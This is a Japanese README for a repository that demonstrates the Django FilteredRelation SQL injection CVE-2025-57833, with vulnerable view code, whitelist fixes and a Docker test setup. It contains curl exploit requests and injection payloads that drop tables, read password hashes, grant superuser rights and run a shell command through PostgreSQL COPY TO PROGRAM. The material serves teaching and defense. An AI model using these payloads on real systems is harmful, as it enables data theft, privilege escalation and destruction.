
CVE-2025-57833をテストするための環境を構築しました。この環境はAIを使用して構築されたため、継続的に変更される可能性があります。
このリポジトリは、CVE-2025-57833(DjangoのORMにおける深刻なSQLインジェクションの脆弱性)を実演・解説します。この脆弱性は、Django 4.2系の4.2.24未満、5.1系の5.1.12未満、5.2系の5.2.6未満に影響します。
CVSSスコア: 9.8(緊急)
影響: リモートコード実行(RCE)に至るSQLインジェクション
認証要件: なし(未認証攻撃)
Django ORM(オブジェクト関係マッピング)を使用すると、生のSQLではなくPythonコードでデータベースとやり取りできます。例えば:
# 生のSQLの場合: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)
FilteredRelationは、テーブル結合時に追加のフィルタ条件を指定できるDjangoの機能です:
# 著者と書籍を結合するが、アクティブな著者のみ
Book.objects.annotate(
active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')
開発者がユーザー入力に基づいて動的にフィールド名を作成する必要がある場合があります:
# ユーザーが異なる条件で検索したい場合
search_field = request.POST.get('field_name') # ユーザー入力: "title", "author" など
# **kwargsを用いた動的フィールド作成
queryset.annotate(**{
search_field: FilteredRelation('some_relation')
})
この脆弱性は、サニタイズされていないユーザー入力がannotate()やalias()内のFilteredRelationで辞書キーとして使用された場合に発生します。以下が段階的なプロセスです。
# 脆弱なアプリケーションでの一般的なパターン:
user_input = request.POST.get('search_field') # 攻撃者がこれを制御
# ここで脆弱性が発生 - ユーザー入力がSQLの列エイリアスになる
queryset.annotate(**{
user_input: FilteredRelation("author") # ❌ 危険
})
攻撃者が悪意のある入力を送信します:
user_input = "malicious_field'; DROP TABLE users; --"
Djangoは以下のようなSQLを生成します:
SELECT ...
FROM book
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...
悪意のあるSQLが実行され、以下のようなことが起こる可能性があります:
多くのDjangoアプリケーションには、ユーザーが検索フィールドを選択できる検索機能があります:
# views.py - 一般的な脆弱なパターン
def search_books(request):
search_field = request.POST.get('search_by') # "author", "title", "category"
search_value = request.POST.get('search_value')
# 開発者は安全だと思っている - しかし実際は安全ではない!
books = Book.objects.annotate(**{
f"filtered_{search_field}": FilteredRelation(
search_field,
condition=Q(**{f"{search_field}__name__icontains": search_value})
)
})
return JsonResponse({'books': list(books.values())})
# 攻撃者は以下のPOSTリクエストを送信:
curl -X POST http://example.com/search/ \
-d "search_by=author'; DROP TABLE auth_user; --" \
-d "search_value=anything"
# 絶対に行わないでください - ユーザー入力をそのまま辞書キーにする
user_field = request.POST.get('field')
queryset.annotate(**{
user_field: FilteredRelation('relation') # SQLインジェクション!
})
# 安全 - ホワイトリストによる検証
ALLOWED_FIELDS = ['author', 'category', 'publisher']
user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
raise ValidationError("Invalid field")
queryset.annotate(**{
user_field: FilteredRelation('relation') # これで安全
})
# 安全 - 静的なフィールド名を使用
search_type = request.POST.get('search_type')
if search_type == 'author':
queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
queryset.annotate(filtered_category=FilteredRelation('category'))
-- 機密データの抽出
'; SELECT username, password FROM auth_user; --
-- データの改ざん
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --
-- システムコマンドの実行(適切な拡張機能があるPostgreSQL)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']
def safe_annotate(queryset, field_name):
if field_name not in ALLOWED_FIELDS:
raise ValidationError(f"Field '{field_name}' not allowed")
return queryset.annotate(**{
field_name: FilteredRelation('relation')
})
# 動的フィールド名の代わりに条件分岐を使用
def get_filtered_queryset(search_type):
if search_type == 'author':
return queryset.annotate(result=FilteredRelation('author'))
elif search_type == 'category':
return queryset.annotate(result=FilteredRelation('category'))
else:
raise ValidationError("Invalid search type")
最新のDjangoバージョンにアップデートしてください:
このリポジトリには完全なテスト環境が含まれています:
# 脆弱なDjangoアプリケーションを起動
docker-compose up
# 脆弱性をテスト
curl -X POST http://localhost:8000/api/vulnerable-search/ \
-H "Content-Type: application/json" \
-d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'
詳細なテスト手順については、document/README.mdを参照してください。
このリポジトリは教育および防御的なセキュリティ目的のみで提供されています。この情報を、自分が所有していない、またはテストの許可を得ていないシステムへの攻撃に使用しないでください。